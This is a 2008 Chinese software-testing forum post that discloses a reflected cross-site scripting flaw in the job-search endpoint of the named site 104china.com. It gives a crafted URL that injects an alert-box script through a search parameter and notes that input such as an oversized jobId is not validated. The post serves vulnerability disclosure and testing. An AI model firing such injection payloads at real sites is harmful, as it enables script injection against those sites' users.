51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

手机号码,快捷登录

查看: 4218|回复: 1
打印 上一主题 下一主题

[原创]104china网站安全性测试漏洞之“跨站脚本注入”

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2008-6-23 16:18:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
[原创]104china网站安全性测试漏洞之“跨站脚本注入”

JobListAction.do接口存在漏洞
构造如下脚本:
http://www.104china.com/JobListA ... &lastSearchKey=>'><script>alert('卖烧烤%20的%20鱼%20到此一游')</script>&searchWay=&orderBy=+order+by+jobList.job.lastDate+desc&city=&city1=&city2=&jobCat=&jobCat1=&jobCat2=&industry=&industry1=&industry2=&sex=2&salarylow=0&salaryhigh=0&salarytype=0&role=0&role1=0&role2=0&appco=-1&capital=0&firstdate=-1&isadvance=0&istitle=1&searchKey=&isFilter=0&lastSearchKey1=&custNoString=&searchType=&searchTypeLink=&lastdate=-1&edu=0&period=0&age=0&flag=

其中还存在如下问题,程序对用户传入据合法性未做判断,如jobid=99999999值后:
http://www.104china.com/JobListA ... b.eduType+desc&jobId=99999999
上面的脚本你试试看

说明:其中“搜索”功能这块,对搜索的词类型,搜索词链接,搜索词的值,均存在跨站脚本注入漏洞


[ 本帖最后由 卖烧烤的鱼 于 2008-6-23 16:23 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?(注-册)加入51Testing

x
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

该用户从未签到

2#
发表于 2008-7-7 11:54:11 | 只看该作者
thanks
回复 支持 反对

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-11-13 12:40 , Processed in 0.080730 second(s), 29 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表